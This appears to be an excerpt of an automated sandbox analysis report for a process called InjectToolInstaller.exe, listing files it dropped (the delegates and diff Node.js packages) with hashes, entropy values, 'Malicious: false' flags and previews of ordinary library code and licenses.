SHA-256:	8566C3A4E3D8D35308E37EEA9A65E168CF471E8CC30030C43FA277C855B54B8E
SHA-512:	EF4B3A15BC013CF6A00A2AD4721E0BCDC667CDAEA80451F352164EF5B767F69C385F2E619CFC41186E83695EC8E07D145A8AC966631D9B6BC48D5B50ECCA8A32
Malicious:	false
Preview:	var defaults = require('./'),. test = require('tap').test;..test("ensure options is an object", function(t) {. var options = defaults(false, { a : true });. t.ok(options.a);. t.end().});..test("ensure defaults override keys", function(t) {. var result = defaults({}, { a: false, b: true });. t.ok(result.b, 'b merges over undefined');. t.equal(result.a, false, 'a merges over undefined');. t.end();.});..test("ensure defined keys are not overwritten", function(t) {. var result = defaults({ b: false }, { a: false, b: true });. t.equal(result.b, false, 'b not merged');. t.equal(result.a, false, 'a merges over undefined');. t.end();.});..test("ensure defaults clone nested objects", function(t) {. var d = { a: [1,2,3], b: { hello : 'world' } };. var result = defaults({}, d);. t.equal(result.a.length, 3, 'objects should be clones');. t.ok(result.a !== d.a, 'objects should be clones');.. t.equal(Object.keys(result.b).length, 1, 'objects should be clones');. t.ok(result.b !==

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\delegates\History.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	4.541078001985198
Encrypted:	false
SSDEEP:	6:0oQSXwFmRQrYge9mooQurruf71QI5IAY871QC5RIxRv:0WwFmRiYZ9toVruf/WV8rGv
MD5:	B79077AB75E12C8E652B4DFF7EBB453C
SHA1:	37E8641729544115B9D3A566EAD3480E47D44A9B
SHA-256:	F4686952CCCF52B0CFDEE52D5F2960DC5E8097A608987B22339ACA0F18A82B89
SHA-512:	9DDC203A53D7AC88F9AA3A7B37D22F3EB5484309C3072820B50BA796838F5F16806EC8A9D06364F5A8CC81F2D6EEE525CBC61CB2F25B3C6143CFF92779833466
Malicious:	false
Preview:	.1.0.0 / 2015-12-14.==================.. * Merge pull request #12 from kasicka/master. * Add license text..0.1.0 / 2014-10-17.==================.. * adds `.fluent()` to api..0.0.3 / 2014-01-13.==================.. * fix receiver for .method()..0.0.2 / 2014-01-13.==================.. * Object.defineProperty() sucks. * Initial commit.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\delegates\License

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	5.145957657453797
Encrypted:	false
SSDEEP:	24:4iJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:4iJzfPvGt7ICQH+sfIte36AFD
MD5:	039225978C07BC42E8C0EF2F72B81C09
SHA1:	9D414BD96CE8326FADC2F959781154DE49AF5B00
SHA-256:	CB4E4296DFC59387F7C6EF71B670CDE7050617313FCEA7173995176FEC0FCEF2
SHA-512:	D097AE93B369E4BB5BF23154EFE6DBB49B1A7F56F5BB1A03835E69461DF49D29C43D31C65F0180D0D9CCB02D382B8FE40331BDF96D010DEC4907A7B7D9DFD27F
Malicious:	false
Preview:	Copyright (c) 2015 TJ Holowaychuk <tj@vision-media.ca>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\delegates\Makefile

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	100
Entropy (8bit):	4.698110006341397
Encrypted:	false
SSDEEP:	3:c0aAUzMLKr0gWLQPFxsgfmoFdjTnqGn:dL0MQ0fLwxskmoF5qGn
MD5:	A15D6DBB1BE30B92AEE23E79571E93B0
SHA1:	ABD4A7CD4A519DF349900DD853A307F58A5CD4A5
SHA-256:	6438415EBEA1A06C38FB94429C95BE38996B1E774F6515D9A48E5D48DF20E9C9
SHA-512:	6E828D44C2E9DCDA74656785BF7D05DDC4A37B972E7195E287AE3B0A04BDB4D45928240E8DD7F7D3984AFA032BA501D101B33BA36CCF60E1D65E1152366C6ECA
Malicious:	false
Preview:	.test:..@./node_modules/.bin/mocha \...--require should \...--reporter spec \...--bail...PHONY: test

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\delegates\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2065
Entropy (8bit):	4.654164130694464
Encrypted:	false
SSDEEP:	24:biBJgXeoGbMoRSs8FWMzs++IO805C0M9TULWasuXIpPnW2sqOgRR5tBWJs+HG+Di:bicXZGbuPvOGtpmg3gGwmN
MD5:	FE8852BBEF1A3D30B7B0FC78AA3FDE97
SHA1:	694697BE68FB102FB7E9F70D9F35A8827C6D6943
SHA-256:	DB3EE6AB2FDABDFFC19D5DF0CF9461488329379CBB0640EB73203A35197960AA
SHA-512:	738B9C16DFBB96CCC3000413EB6A0FB0897633E5ADE8468FF89156571C685F4F4B2E88CD6E6D294D239D9E600C3EF92B192E7C52071630FC47440E96E27342E7
Malicious:	false
Preview:	./*. Expose `Delegator`.. /..module.exports = Delegator;../. Initialize a delegator.. . @param {Object} proto. * @param {String} target. * @api public. /..function Delegator(proto, target) {. if (!(this instanceof Delegator)) return new Delegator(proto, target);. this.proto = proto;. this.target = target;. this.methods = [];. this.getters = [];. this.setters = [];. this.fluents = [];.}../. Delegate method `name`.. . @param {String} name. * @return {Delegator} self. * @api public. /..Delegator.prototype.method = function(name){. var proto = this.proto;. var target = this.target;. this.methods.push(name);.. proto[name] = function(){. return this[target][name].apply(this[target], arguments);. };.. return this;.};../. Delegator accessor `name`.. . @param {String} name. * @return {Delegator} self. * @api public. /..Delegator.prototype.access = function(name){. return this.getter(name).setter(name);.};../. Delegator getter `name`.. . @param

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\delegates\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	313
Entropy (8bit):	4.430059775555672
Encrypted:	false
SSDEEP:	6:vdSS18tQ/4MLkl/B8mWk0RMSOXHa/AJizdC2qwWfSN7uK3q:1t18aZLkJB2k0RZ46RCQWNd
MD5:	FA4A364036777C0CF422BEE58A0C4E2D
SHA1:	F192D34B412F6FDA6A541ACEE81DE9E0D48648BB
SHA-256:	7FE6BA799E1316869F2990CFE8E51BD29A40E1E5F327BABDD38D23E3E23E8D87
SHA-512:	39C6F87EA0236B4FE9529C61E2FDD894F7938A87BEF1EC90D72DD575E7BA913FBF753D0E1F8E9894E84BBAD8A1CF782427920DA583EE048BDD2948CB1C921FB6
Malicious:	false
Preview:	{. "name": "delegates",. "version": "1.0.0",. "repository": "visionmedia/node-delegates",. "description": "delegate methods and accessors to another property",. "keywords": ["delegate", "delegation"],. "dependencies": {},. "devDependencies": {. "mocha": "",. "should": "". },. "license": "MIT".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\delegates\test\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1784
Entropy (8bit):	4.540007165304918
Encrypted:	false
SSDEEP:	48:ifGiSLfvGM4dGolfR8wJfXBBKH2fetnXdo:EGB7vnehR/RZOnto
MD5:	0CFA1DFBB0F689754598336C8AF5B027
SHA1:	F1C8EC4CFEA947C03D8DD7C2CE43E7E878794284
SHA-256:	36D8A2D16E8138FA52AB1FD35348B8591414EDD6EE318DC1871FCB51A932DDA4
SHA-512:	36AA9F156287D7DBF6A63A43F969FD4625E50994161B2928853AC0A06FE1C4BE7687AB506923A8E88EBD63FF9F78073621BCA3BF430835DB191EAEA4476F46F8
Malicious:	false
Preview:	.var assert = require('assert');.var delegate = require('..');..describe('.method(name)', function(){. it('should delegate methods', function(){. var obj = {};.. obj.request = {. foo: function(bar){. assert(this == obj.request);. return bar;. }. };.. delegate(obj, 'request').method('foo');.. obj.foo('something').should.equal('something');. }).})..describe('.getter(name)', function(){. it('should delegate getters', function(){. var obj = {};.. obj.request = {. get type() {. return 'text/html';. }. }.. delegate(obj, 'request').getter('type');.. obj.type.should.equal('text/html');. }).})..describe('.setter(name)', function(){. it('should delegate setters', function(){. var obj = {};.. obj.request = {. get type() {. return this._type.toUpperCase();. },.. set type(val) {. this._type = val;. }. }.. delegate(obj, 'request').setter('type');.. obj.type = 'hey';. obj.re

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\CONTRIBUTING.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	4.803579636243705
Encrypted:	false
SSDEEP:	24:VjrjQAUmSbQFF/SimldGODlbnFydXhUWEhUWqO1rXtjNYuoONAFUWo:pYdbQFKi0hbitetqUj9NYugto
MD5:	A4FC2EBF112B56934DED1682FB741C39
SHA1:	F3AA352BBF7CC98085FC25E4B1574A46B3936D40
SHA-256:	E4BBD62D8510C2DE3C8A211F919AFF98C6DBB2EC42A565C43C2E4E2482B581BD
SHA-512:	81D8D18EDB2CB2C6C869C13CFC4EA9797CE4BE66C748BBD28E9C8F44BE95D6F9636C0D126A82634958E087D56FA37A990B68FD20531F68B8A238375FEB7B6903
Malicious:	false
Preview:	# How to Contribute..## Pull Requests..We also accept [pull requests][pull-request]!..Generally we like to see pull requests that..- Maintain the existing code style.- Are focused on a single change (i.e. avoid large refactoring or style adjustments in untouched code if not the primary goal of the pull request).- Have [good commit messages](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html).- Have tests.- Don't decrease the current code coverage (see coverage/lcov-report/index.html)..## Building..```.npm install.npm test.```..The `npm test -- dev` implements watching for tests within Node and `karma start` may be used for manual testing in browsers...If you notice any problems, please report them to the GitHub issue tracker at.[http://github.com/kpdecker/jsdiff/issues](http://github.com/kpdecker/jsdiff/issues)...## Releasing..JsDiff utilizes the [release yeoman generator][generator-release] to perform most release tasks...A full release may be completed with the foll

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\dist\diff.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	50124
Entropy (8bit):	4.766163367878591
Encrypted:	false
SSDEEP:	768:81nRgPmjQVy/kRnVGCzwm8LUpSO2Oj01KXwn6P1gr/Px3pyqcLSkPoofVRylXMXW:81+Pms/wmq01grhwqcFXW
MD5:	2BB2B76F6520C4738694E3A3667EFC3F
SHA1:	2BF8A078790C32FBEDEE112F6C8E6992BC731B48
SHA-256:	28019BE9ACD685D12CF6BCF152A75007918EAF28D4F5486DDE03E3E7E983B7F7
SHA-512:	439E0A33CA6019569E8B5BFABFFADB89D8729614FCB92BF556BFDE2F5DC6B5B5C4C952D222DECF23A0CDDA01F4FE5301A46C90AC57BA487576E559EFB28770B6
Malicious:	false
Preview:	/!.. diff v5.1.0..Software License Agreement (BSD License)..Copyright (c) 2009-2015, Kevin Decker <kpdecker@gmail.com>..All rights reserved...Redistribution and use of this software in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:.. Redistributions of source code must retain the above. copyright notice, this list of conditions and the. following disclaimer...* Redistributions in binary form must reproduce the above. copyright notice, this list of conditions and the. following disclaimer in the documentation and/or other. materials provided with the distribution...* Neither the name of Kevin Decker nor the names of its. contributors may be used to endorse or promote products. derived from this software without specific prior. written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR.IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRA

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\dist\diff.min.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (15854)
Category:	dropped
Size (bytes):	17458
Entropy (8bit):	5.436099882787845
Encrypted:	false
SSDEEP:	384:8rZrhhRmpAgLohVNSLCAC+oSW/goctcOb4cHJEmrLeD:81nRmpfvLCACPSW4HGOFrLs
MD5:	77C5643B5796954DAF27A63AC6A6FAA6
SHA1:	E58C1A5560C0D3D5F4524C826E3BCB13EFECB4C0
SHA-256:	3A29BD9374B219BD6964550085CDDF6B62FC4073893D3F251C1D61EF1EA56B7F
SHA-512:	BDCA3D440C44BAFE0F43E893432B8A125C2850E72C55DA7E5A053A2E0A3CD804A90DF17BBC8EBA2E55B3F8265CDA531D9F9DAD8E32CEB87BF2F01409169F1AD4
Malicious:	false
Preview:	/!.. diff v5.1.0..Software License Agreement (BSD License)..Copyright (c) 2009-2015, Kevin Decker <kpdecker@gmail.com>..All rights reserved...Redistribution and use of this software in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:.. Redistributions of source code must retain the above. copyright notice, this list of conditions and the. following disclaimer...* Redistributions in binary form must reproduce the above. copyright notice, this list of conditions and the. following disclaimer in the documentation and/or other. materials provided with the distribution...* Neither the name of Kevin Decker nor the names of its. contributors may be used to endorse or promote products. derived from this software without specific prior. written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR.IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRA

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\convert\dmp.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (1644)
Category:	dropped
Size (bytes):	2255
Entropy (8bit):	5.887958645913464
Encrypted:	false
SSDEEP:	48:GqBBNF+DsStrQ1AZMg8pOu4Yb7hDgJcS/pbti1x9psKzQNaM:GqB/Cxu4C7hDgJ9/cXW
MD5:	F35F163180EBE36BB524C527E2BF21BD
SHA1:	901A488C208181B7E65015EE92A06B3F967BEE5D
SHA-256:	5DE2B6E625C4DEEA898057E0FD8E2EA8B704BA97F6986D693775801D12268673
SHA-512:	9FF23A30623635C4F95F000AD9961BFDF79313A209A29D26BC2277546E536D74AF350AAA06100EAACF3A0AE72D3F267B4B0B0B733EEC132AB08D450DDC48E803
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.convertChangesToDMP = convertChangesToDMP;../istanbul ignore end/.// See: http://code.google.com/p/google-diff-match-patch/wiki/API.function convertChangesToDMP(changes) {. var ret = [],. change,. operation;.. for (var i = 0; i < changes.length; i++) {. change = changes[i];.. if (change.added) {. operation = 1;. } else if (change.removed) {. operation = -1;. } else {. operation = 0;. }.. ret.push([operation, change.value]);. }.. return ret;.}.//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uL3NyYy9jb252ZXJ0L2RtcC5qcyJdLCJuYW1lcyI6WyJjb252ZXJ0Q2hhbmdlc1RvRE1QIiwiY2hhbmdlcyIsInJldCIsImNoYW5nZSIsIm9wZXJhdGlvbiIsImkiLCJsZW5ndGgiLCJhZGRlZCIsInJlbW92ZWQiLCJwdXNoIiwidmFsdWUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7OztBQUFBO0FBQ08sU0FBU0EsbUJBQVQsQ0FBNkJDLE9BQTdCLEVBQXNDO0FBQzNDLE1BQUlDLEdBQU

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\convert\xml.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (2564)
Category:	dropped
Size (bytes):	3359
Entropy (8bit):	5.843199742894277
Encrypted:	false
SSDEEP:	96:GqBLhSPI9j76j4fj26qZjZjZZZhICyHsDqaDq:GqlhrU6a6ANNDhI7HsD3q
MD5:	B61483E1DD88D513123F8581F8209DF8
SHA1:	DE5820F5E5A32469F561077D04D493DD3387808A
SHA-256:	CC5467E24D48AB4BDA8C2253E6A6134F8BA155EF542F596E33D0B11E1CDDE1F1
SHA-512:	DBDBB3607DB83A39B6504E80597D1A4FEB379C06894DFE91D37DF8171F867FA98C5294E353FF29EF76C73C866CC0A70010AA119626CEFA18699DD2C76FD273A6
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.convertChangesToXML = convertChangesToXML;../istanbul ignore end/.function convertChangesToXML(changes) {. var ret = [];.. for (var i = 0; i < changes.length; i++) {. var change = changes[i];.. if (change.added) {. ret.push('<ins>');. } else if (change.removed) {. ret.push('<del>');. }.. ret.push(escapeHTML(change.value));.. if (change.added) {. ret.push('</ins>');. } else if (change.removed) {. ret.push('</del>');. }. }.. return ret.join('');.}..function escapeHTML(s) {. var n = s;. n = n.replace(/&/g, '&');. n = n.replace(/</g, '<');. n = n.replace(/>/g, '>');. n = n.replace(/"/g, '"');. return n;.}.//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uL3NyYy9jb252ZXJ0L3htbC5qcyJdLCJuYW1lcyI6WyJjb252ZXJ0Q2hhbmdlc1RvWE1MIiwiY2hhbmdlcyIsInJldCIsImkiLCJsZW

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\diff\array.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (1376)
Category:	dropped
Size (bytes):	2300
Entropy (8bit):	5.846622220374684
Encrypted:	false
SSDEEP:	48:GqBuXwXQXOU0CfVBRwFVCdhZMgbJx4ySdCjymnBJ49n566mihxeT:GqBuXwXQXdVBuu9XpELmnVX/
MD5:	0883612B628369490FBAAC3D9C4DEE0B
SHA1:	B997C1817D94B0311E13F5EC4A38CC713978EC1F
SHA-256:	9A5E26C81B1C78441F443C350761148E006995FB88A8B750BE20415208F1E91E
SHA-512:	B75F1DFC188DEBACFABDA9523A17ACBED11790748B9BAD01AEDABA367E9FAE4E65616A03B09B7C8C4F10060974EC14492C0522D236BD2D9389539E85A1961BC2
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.diffArrays = diffArrays;.exports.arrayDiff = void 0;../istanbul ignore end/.var./istanbul ignore start/._base = _interopRequireDefault(require("./base"))./istanbul ignore end/.;../istanbul ignore start/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }../istanbul ignore end/.var arrayDiff = new./istanbul ignore start/._base./istanbul ignore end/.[./istanbul ignore start/."default"./istanbul ignore end/.]();../istanbul ignore start/.exports.arrayDiff = arrayDiff;../istanbul ignore end/.arrayDiff.tokenize = function (value) {. return value.slice();.};..arrayDiff.join = arrayDiff.removeEmpty = function (value) {. return value;.};..function diffArrays(oldArr, newArr, callback) {. return arrayDiff.diff(oldArr, newArr, callback);.}.//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uI

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\diff\base.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (22480)
Category:	dropped
Size (bytes):	31393
Entropy (8bit):	5.778421540541695
Encrypted:	false
SSDEEP:	384:7eTFAhOd5qrHbdUE+/Vc7xFUi9Lc4EQUWnE6tE2NoeQAVIOd+Shp8dB7NOcAboxT:7UKUE+Omi9LHENWnEwEQHrhaL7NO/ET
MD5:	A78B643BA4DCD7EA2666B36E47695DD2
SHA1:	01E377299619F7F95DFE0CEED64DB4A3BEF2ED23
SHA-256:	9C3EACDA8C3924C702439D9E4B77036AF14D4190FFC7E32956095668C6DA167D
SHA-512:	58F3C5CCF84CA0AA746AB0DC05CBDAD1DCB52A3FBB3BB12C1FDCC2DADD0FBA9AF95BF8A9FB62EBF71A490EE153CBF36F0D9677113B34D6043503F3E333B6A4BD
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports["default"] = Diff;../istanbul ignore end/.function Diff() {}..Diff.prototype = {. /istanbul ignore start/.. /istanbul ignore end/. diff: function diff(oldString, newString) {. /istanbul ignore start/. var. /istanbul ignore end/. options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};. var callback = options.callback;.. if (typeof options === 'function') {. callback = options;. options = {};. }.. this.options = options;. var self = this;.. function done(value) {. if (callback) {. setTimeout(function () {. callback(undefined, value);. }, 0);. return true;. } else {. return value;. }. } // Allow subclasses to massage the input prior to running... oldString = this.castInput(oldString);. newString = this.castInput(newString);. oldString =

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\diff\character.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (880)
Category:	dropped
Size (bytes):	1671
Entropy (8bit):	5.815896021126029
Encrypted:	false
SSDEEP:	48:GqBABOU00fVBkN5XSWtZMgAdV4ySYHg69FomtIKD:GqBABXVBo5X7nmVpbTXomnD
MD5:	F0B3144985372874E229E6AD4B94B722
SHA1:	B00BFD7D9C367FF0ADF8A44B116254850EF50177
SHA-256:	E8C614F9A59CC80AB1E95483DCC38B0C2689CC6E02C65705BB9C3092F496B998
SHA-512:	C09113CD58441FE9911FBF91D263E82BD83CE37CEBE16DA0F0A079B4C8ABC6EF40E87EE82F479A6590FF8D829D86778B24A257E1DBE54B28451BF0104EBD9AA2
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.diffChars = diffChars;.exports.characterDiff = void 0;../istanbul ignore end/.var./istanbul ignore start/._base = _interopRequireDefault(require("./base"))./istanbul ignore end/.;../istanbul ignore start/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }../istanbul ignore end/.var characterDiff = new./istanbul ignore start/._base./istanbul ignore end/.[./istanbul ignore start/."default"./istanbul ignore end/.]();../istanbul ignore start/.exports.characterDiff = characterDiff;../istanbul ignore end/.function diffChars(oldStr, newStr, options) {. return characterDiff.diff(oldStr, newStr, options);.}.//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uL3NyYy9kaWZmL2NoYXJhY3Rlci5qcyJdLCJuYW1lcyI6WyJjaGFyYWN0ZXJEaWZmIiwiRGlmZiIsImRpZmZDaGFycyIsIm9sZFN0ciIsIm

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\diff\css.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (1128)
Category:	dropped
Size (bytes):	1966
Entropy (8bit):	5.880998342860331
Encrypted:	false
SSDEEP:	48:GqBkpOU08fVBjKPZXWOZMgx5hy4hs444440UgaIep6ihx4Kq:GqBkpHVBuBmApyjaIecGFq
MD5:	1F216019E498CA9B4F9ED93921D1ED9F
SHA1:	0702FD97A472D2B13AC58E72A9666C0B81290BD1
SHA-256:	8728AA9ADE9830178CD1ED127C5DFE4949808525E21091A571812FA142F68730
SHA-512:	2D39127ECCCE5D1D679BA2209FD1E058680F7ED4BE604110AB2793EFAC18C3DE0B988BE2A8F1F8324B34FA4FDE818F7C21CDA5896C7A4689E3F9D619BA60B1B6
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.diffCss = diffCss;.exports.cssDiff = void 0;../istanbul ignore end/.var./istanbul ignore start/._base = _interopRequireDefault(require("./base"))./istanbul ignore end/.;../istanbul ignore start/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }../istanbul ignore end/.var cssDiff = new./istanbul ignore start/._base./istanbul ignore end/.[./istanbul ignore start/."default"./istanbul ignore end/.]();../istanbul ignore start/.exports.cssDiff = cssDiff;../istanbul ignore end/.cssDiff.tokenize = function (value) {. return value.split(/([{}:;,]\|\s+)/);.};..function diffCss(oldStr, newStr, callback) {. return cssDiff.diff(oldStr, newStr, callback);.}.//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi4uLy4uL3NyYy9kaWZmL2Nzcy5qcyJdLCJuYW1lcyI6WyJjc3NEaWZmIiwiRGlmZiI

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\diff\json.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (8576)
Category:	dropped
Size (bytes):	12937
Entropy (8bit):	5.8697453154833585
Encrypted:	false
SSDEEP:	192:Gq1nCr6z43z9bHMt6plh6HcKGjumptK7fh6BoI7flXSxrZHmXu1lq8+N+8:71CrB3ecYmptKzh0oIhqrBblq8+N
MD5:	D1912366D93A2738EDE81F421184E895
SHA1:	11D7332AA70D9912BE06BFF6B00588DD84E86DEC
SHA-256:	E9EF76B36E5A19263D199AC35871A15AA2B33C00479192B71F6C8F46B91A1661
SHA-512:	088F2FAE1403E30BF521ABF31067FC940E3C6A138F951E8EEDB2465CEB0E5A478EC2B3F2BBB636413D4EF2E0CE6BAEDEED08BEB692A324729F4C1094C653C932
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.diffJson = diffJson;.exports.canonicalize = canonicalize;.exports.jsonDiff = void 0;../istanbul ignore end/.var./istanbul ignore start/._base = _interopRequireDefault(require("./base"))./istanbul ignore end/.;..var./istanbul ignore start/._line = require("./line")./istanbul ignore end/.;../istanbul ignore start/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }..function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }../istanbul ignore end/.var objectPrototypeToString = Object.prototype.toString;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\diff\line.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (3728)
Category:	dropped
Size (bytes):	5686
Entropy (8bit):	5.822339519822697
Encrypted:	false
SSDEEP:	96:GqBQqM4UVBE1HuF4BBnarDeprCST2RsMXPQghn3adtKB+/6ePSUy:GqLgF4BBMyprCg2CEJ3a0
MD5:	1691AEC76D6BBA5A65C7CC970380F8FA
SHA1:	3D8655E21B82593CB231F2880B173120CF3258CE
SHA-256:	4A59B38AF9EE131F7BAAAD55C5EF077DF276736BCD125A0A9C1E824EF7FBBA66
SHA-512:	F4155B45E350EA4C9A2DC1ECECD29E3E83E54A9D664D13CE666262F74953EC6BDAB76A137F0363D43FC332065D81A2D0D7B03F38FD1F0CA91805EB58ACBCFC16
Malicious:	false
Preview:	/istanbul ignore start/."use strict";..Object.defineProperty(exports, "__esModule", {. value: true.});.exports.diffLines = diffLines;.exports.diffTrimmedLines = diffTrimmedLines;.exports.lineDiff = void 0;../istanbul ignore end/.var./istanbul ignore start/._base = _interopRequireDefault(require("./base"))./istanbul ignore end/.;..var./istanbul ignore start/._params = require("../util/params")./istanbul ignore end/.;../istanbul ignore start/ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { "default": obj }; }../istanbul ignore end/.var lineDiff = new./istanbul ignore start/._base./istanbul ignore end/.[./istanbul ignore start/."default"./istanbul ignore end/.]();../istanbul ignore start/.exports.lineDiff = lineDiff;../istanbul ignore end/.lineDiff.tokenize = function (value) {. var retLines = [],. linesAndNewlines = value.split(/(\n\|\r\n)/); // Ignore the final empty token that occurs if the string ends with a new line.. i

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\diff\lib\diff\sentence.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (1196)
Category:	dropped
Size (bytes):	2090
Entropy (8bit):	5.859499138993491
Encrypted:	false
SSDEEP:	48:GqBnPMPOU0SfVBVzLExWOZMgfKYC4yk09mKIJizyzUMMt6kKq:GqB0PbVBi4A65pX3IJAOskhq
MD5:	DF66601D6285B436EFD58D1FF05C94FF
SHA1:	8CFF35456539A08B12B262650A96210E018E481E
SHA-256:	A9F98D614ECB77755CB2C949239598BC597E7AF29D5CDB534CAF5662FD193036
SHA-512:	940905FBEA44B12F5AB6F595AC32B3AA1F6AF582DCAC9617256E3D3DB3EFB1CBEF11332ED6985DC6AF07739F06C99D168AECAD805BCA739759356677030F5625
Malicious:	false
